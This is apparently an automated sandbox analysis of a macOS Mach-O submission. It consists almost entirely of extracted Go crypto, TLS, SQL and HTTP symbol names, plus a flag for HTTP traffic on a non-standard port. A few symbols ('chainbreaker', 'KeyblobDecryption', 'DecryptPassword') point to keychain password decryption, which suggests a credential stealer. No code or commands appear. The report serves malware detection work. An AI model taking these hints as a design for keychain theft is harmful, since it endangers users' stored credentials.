          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.Name.String
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.Name.ToRDNSequence
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_7
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_8
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_5
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_6
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_3
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_4
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_2
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..stmp_0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.(*RDNSequence).String
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix..inittask
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.(*Name).String
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.(*Name).ToRDNSequence
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.(*Name).FillFromRDNSequence
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.(*Name).FillFromRDNSequence.jump36
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_SecTrustSetVerifyDate_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/pkix.(*CertificateList).HasExpired
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_SecTrustGetCertificateCount_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_SecTrustEvaluateWithError_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_SecTrustGetCertificateAtIndex_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_SecPolicyCreateSSL_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_SecTrustCreateWithCertificates_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_SecCertificateCopyData_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_SecCertificateCreateWithData_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_CFStringCreateExternalRepresentation_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_CFStringCreateWithBytes_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_CFErrorGetCode_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509/internal/macos.x509_CFRelease_trampoline.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p224
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.p224.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.inverse[go.shape.*uint8]
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.one
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.hashToNat[go.shape.*uint8]
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.init
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.errNoAsm
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.hashToInt
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.bigIntEqual
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/ecdsa.curveToECDH
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P521Element).Mul
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P521Element).One
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P521Element).Invert
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P521Element).IsZero
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P521Element).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P521Element).Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P521Element).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Square
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Sub
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Set
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Mul
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).One
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Invert
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).IsZero
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P384Element).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Sub
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Square
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Set
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Mul
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).One
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Invert
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).IsZero
          Source: extracted file from submission: LaunchMach-O symbol: _Builder_/chainbreaker.kcdecrypt
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec/fiat.(*P224Element).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p521Sqrt
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p521SqrtCandidate
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p521GeneratorTableOnce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p521Polynomial
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p521CheckOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p521GeneratorTable
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p521B.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p384SqrtCandidate
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p521B
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p384Polynomial
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p384Sqrt
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p384GeneratorTable
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p384GeneratorTableOnce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p384B.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p384CheckOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Zero
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p384B
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Sqrt
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256SelectAffine.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Sqr.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256PrecomputedEmbed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Select.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Polynomial
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Precomputed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256PointAddAsm.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256PointDoubleAsm.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256PointAddAffineAsm.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256OrdSqr.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256P
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256OrdMul.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256OrdReduce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256OrdBigToLittle.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256OrdLittleToBig.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256NegCond.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256One
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256MovCond.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Mul.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256LittleToBig.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256FromMont.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Inverse
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256BigToLittle.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256CheckOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224SqrtCandidate.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p256Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224Sqrt
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224SqrtCandidate
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224Polynomial
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224GeneratorTable
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224GeneratorTableOnce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224GG
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224GGOnce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224B.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224CheckOnCurve
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.init.0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.p224B
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec._p521B
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec._p521BOnce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec._p384BOnce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec._p224BOnce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec._p384B
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.P256OrdInverse
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec._p224B
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.NewP384Point
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.NewP521Point
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.NewP224Point
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.NewP256Point
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec..stmp_7
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.struct { sync.Once; crypto/x509.v *crypto/x509.Certificate }
          Source: extracted file from submission: LaunchMach-O symbol: _Builder_/chainbreaker.(*Chainbreaker).KeyblobDecryption
          Source: extracted file from submission: LaunchMach-O symbol: _Builder_/chainbreaker.DecryptPassword
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec..stmp_5
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec..inittask
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec..stmp_0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*p384Table).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*p521Table).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).generatorTable.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*p224Table).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).bytesX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).generatorTable
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).bytesCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).SetGenerator
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).Set
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).BytesCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).BytesX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).generatorTable.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P521Point).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).bytesX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).generatorTable
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).bytesCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).SetGenerator
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).Set
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).BytesCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).BytesX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P384Point).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).p256BaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).p256ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).bytesX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).bytesCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).SetGenerator
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).affineFromMont
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).Set
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _sqlite3GenerateIndexKey
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).BytesX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).BytesCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).generatorTable.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P256Point).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).bytesX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).generatorTable
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).bytesCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).SetGenerator
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).Set
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).ScalarMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).Select
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).Double
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).ScalarBaseMult
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).BytesCompressed
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).BytesX
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).Bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.sqrtM1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/nistec.(*P224Point).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.feSquare.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.feZero
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.feMul.abi0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.feOne
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field..stmp_1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field..stmp_2
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).reduce
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field..stmp_0
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).carryPropagateGeneric
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).Swap
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).bytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).SqrtRatio
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).Subtract
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).Pow22523
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).SetBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).Invert
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).Mult32
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).Absolute
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519/field.(*Element).Add
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.scalarTwo168
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.scalarTwo336
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.init
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.scalarMinusOneBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.generator
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.identity
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.fiatScalarToBytes
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/internal/edwards25519.fiatScalarToMontgomery
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/tls.xorNonceAEAD
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/tls.prefixNonceAEAD
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/x509.rfc2821Mailbox
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/x509.UnknownAuthorityError
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/x509.HostnameError
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/x509.CertificateInvalidError
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/x509/internal/macos.OSStatus
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/cipher.gcm
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/ecdsa.PrivateKey
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/rc4.Cipher
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/rand.reader
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/elliptic.CurveParams
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/ecdsa.PublicKey
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/tls.atLeastReader
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/tls.RecordHeaderError
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/sha256.digest
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/sha1.digest
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.crypto/tls.cacheEntry
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*Certificate).CreateCRL
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*Certificate).Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*Certificate).CheckSignature
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*Certificate).CheckSignatureFrom
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).findPotentialParents
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*Certificate).CheckCRLSignature
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).Equal
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).Subjects
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).AppendCertsFromPEM.func1.1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).Clone
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).AppendCertsFromPEM.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).AddCert.func1
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).AppendCertsFromPEM
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.writerMutex
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/x509.(*CertPool).AddCert
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.unsupportedCertificateError
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.verifyHandshakeSignature
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.typeAndHashFromSignatureScheme
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.unmarshalCertificate
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.transcriptMsg
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.tls10MAC
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.tlsmaxrsasize
          Source: extracted file from submission: LaunchMach-O symbol: _crypto/tls.supportsECDHE

          Networking

          barindex
          Uses known network protocols on non-standard ports
          Source: unknownNetwork traffic detected: HTTP traffic on port 49165 -> 4000
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).pingDC
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).pingDC.func1
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).openNewConnection.func1
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).openNewConnection
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).connectionOpener
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).connectionCleaner
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).connectionCleanerRunLocked
          Source: extracted file from submission: LaunchMach-O symbol: _time.sendTime
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).PingContext.func1
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).Ping
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*DB).PingContext
          Source: extracted file from submission: LaunchMach-O symbol: _database/sql.(*Conn).PingContext
          Source: extracted file from submission: LaunchMach-O symbol: _socket
          Source: extracted file from submission: LaunchMach-O symbol: _recvmsg
          Source: extracted file from submission: LaunchMach-O symbol: _sendfile
          Source: extracted file from submission: LaunchMach-O symbol: _sendto
          Source: extracted file from submission: LaunchMach-O symbol: _sendmsg
          Source: extracted file from submission: LaunchMach-O symbol: _setsockopt
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2PingFrame
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2Setting
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2RSTStreamFrame
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2PriorityParam
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2PriorityFrame
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2stickyErrWriter
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2connError
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2WindowUpdateFrame
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.http2StreamError
          Source: extracted file from submission: LaunchMach-O symbol: _Builder_/chainbreaker.(*Chainbreaker).findWrappingKey
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.httpError
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.readTrackingBody
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/http.maxBytesReader
          Source: extracted file from submission: LaunchMach-O symbol: _type:.eq.net/netip.AddrPort
